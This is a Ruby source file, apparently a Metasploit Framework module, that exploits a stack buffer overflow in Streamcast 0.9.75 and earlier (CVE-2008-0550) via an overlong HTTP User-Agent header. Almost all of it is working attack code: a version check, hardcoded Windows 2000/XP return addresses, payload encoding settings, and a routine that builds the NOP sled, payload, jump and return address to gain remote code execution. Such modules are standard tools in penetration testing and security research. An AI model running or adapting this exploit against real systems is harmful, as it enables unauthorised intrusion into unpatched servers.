96 lines
2.4 KiB
Ruby
96 lines
2.4 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Streamcast <= 0.9.75 HTTP User-Agent Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in Streamcast <= 0.9.75. By sending
|
|
an overly long User-Agent in an HTTP GET request, an attacker may be able to
|
|
execute arbitrary code.
|
|
},
|
|
'Author' => [
|
|
'LSO <lso[at]hushmail.com>', # Original exploit module
|
|
'patrick' # Added references and check code. Default target to XP.
|
|
],
|
|
'License' => BSD_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2008-0550' ],
|
|
[ 'OSVDB', '42670' ],
|
|
[ 'URL', 'http://aluigi.altervista.org/adv/steamcazz-adv.txt'],
|
|
[ 'BID', '33898' ],
|
|
],
|
|
'Privileged' => false,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 750,
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
|
'StackAdjustment' => -3500,
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
|
|
'DisableNops' => 'True',
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
# Tested OK by patrick 20090225
|
|
[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
|
|
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
|
|
],
|
|
'DisclosureDate' => 'Jan 24 2008',
|
|
'DefaultTarget' => 1))
|
|
|
|
register_options([ Opt::RPORT(8000) ], self)
|
|
end
|
|
|
|
def check
|
|
connect
|
|
sock.put("GET / HTTP/1.0\r\n\r\n")
|
|
res = sock.get(-1, 3)
|
|
disconnect
|
|
|
|
if (res =~ /Steamcast\/0.9.75/)
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
juju = "GET / HTTP/1.0\r\n"
|
|
juju << "User-Agent: " + make_nops(1008 - payload.encoded.length)
|
|
juju << payload.encoded + Rex::Arch::X86.jmp_short(6) + make_nops(2)
|
|
juju << [ target.ret ].pack('V') + [0xe8, -850].pack('CV')
|
|
juju << rand_text_alpha_upper(275)
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
sock.put(juju + "\r\n\r\n")
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|